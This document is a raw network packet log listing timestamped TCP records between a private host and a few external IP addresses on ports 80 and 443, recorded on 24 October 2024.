Oct 24, 2024 19:30:19.888442993 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888447046 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888454914 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888484955 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888504982 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888722897 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888772011 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888834000 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888847113 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888878107 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888895035 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.976356983 CEST	80	50001	185.215.113.37	192.168.2.5
Oct 24, 2024 19:30:19.976464987 CEST	50001	80	192.168.2.5	185.215.113.37
Oct 24, 2024 19:30:20.038177967 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038218021 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038228989 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038238049 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038253069 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038278103 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038280010 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038290024 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038301945 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038311958 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038351059 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038372993 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038383007 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038392067 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038395882 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038449049 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038507938 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038518906 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038527966 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038538933 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038549900 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038561106 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038573027 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038573980 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038613081 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038634062 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038644075 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038650990 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038655043 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038666010 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038698912 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038733959 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038739920 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038744926 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038754940 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038765907 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038778067 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038788080 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038788080 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038799047 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.038829088 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.038857937 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039155006 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039165974 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039184093 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039195061 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039201975 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039206028 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039216995 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039227009 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039238930 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039238930 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039248943 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039261103 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039267063 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039273024 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039283991 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039293051 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039294958 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039307117 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039331913 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039335012 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039345026 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039355993 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039356947 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039366961 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039382935 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039386988 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039397955 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039406061 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039410114 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039421082 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039427042 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039433002 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039443970 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039450884 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039454937 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039469957 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039480925 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039491892 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039503098 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039511919 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039515018 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039549112 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039624929 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039634943 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039645910 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039655924 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039660931 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039663076 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.039683104 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.039702892 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040569067 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040613890 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040617943 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040625095 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040649891 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040658951 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040668964 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040669918 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040680885 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040693045 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040699005 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040738106 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040819883 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040831089 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040842056 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040853977 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040865898 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040868044 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040891886 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040910959 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.040956974 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040967941 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040977955 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040991068 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.040998936 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041028023 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041074038 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041085005 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041095972 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041106939 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041110039 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041117907 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041136980 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041129112 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041177988 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041193008 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041203976 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041214943 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041225910 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041227102 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041239023 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041249990 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041260958 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041271925 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041276932 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041315079 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041488886 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041500092 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041512012 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041523933 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041534901 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041543007 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041546106 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041558027 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041568995 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041580915 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041589975 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041591883 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041603088 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041623116 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041625977 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041636944 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041646957 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041655064 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041667938 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041678905 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041678905 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041690111 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041699886 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041702032 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041711092 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041722059 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041733027 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041744947 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041744947 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041757107 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041769028 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041779995 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041790962 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041793108 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041801929 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041812897 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.041829109 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.041852951 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042417049 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042428017 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042438984 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042449951 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042460918 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042469025 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042476892 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042498112 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042509079 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042514086 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042519093 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042530060 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042536020 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042541981 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042552948 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042565107 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042577028 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042587996 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042588949 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042602062 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042613029 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042628050 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042629957 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042642117 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042653084 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042654037 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042665005 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042676926 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042681932 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042689085 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042701960 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042835951 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042845964 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042857885 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042859077 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042869091 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042882919 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042889118 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042900085 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042908907 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042911053 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042922020 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042933941 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042937994 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042951107 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042957067 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042958021 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042959929 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.042962074 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042968035 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042979002 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042989969 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.042998075 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043001890 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043013096 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043020964 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043024063 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043035030 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043045998 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043046951 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043057919 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043065071 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043070078 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043112040 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043725967 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043735981 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043747902 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043768883 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043768883 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043780088 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043790102 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043802023 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043806076 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043829918 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043914080 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043925047 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043936014 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043946981 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043951988 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.043958902 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043968916 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.043997049 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.044032097 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.051680088 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:20.051809072 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:20.051862955 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:20.051892996 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:20.051913023 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:20.192287922 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192322016 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192334890 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192354918 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192389011 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192440987 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192455053 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192466021 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192487001 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192497015 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192498922 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192506075 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192517042 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192562103 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192567110 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192574978 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192585945 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192599058 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192610025 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192616940 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192620039 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192634106 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192646980 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192650080 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192657948 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192668915 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192679882 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192687988 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192692041 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192703009 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192719936 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192749977 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192814112 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192825079 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192836046 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192847013 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192857981 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192868948 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192883015 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192890882 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192893028 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192903042 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192914009 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192930937 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192934036 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192945957 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192955971 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192962885 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.192966938 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192980051 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192984104 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.192989111 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193001986 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193007946 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.193013906 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193036079 CEST	49999	80	192.168.2.5	185.215.113.16
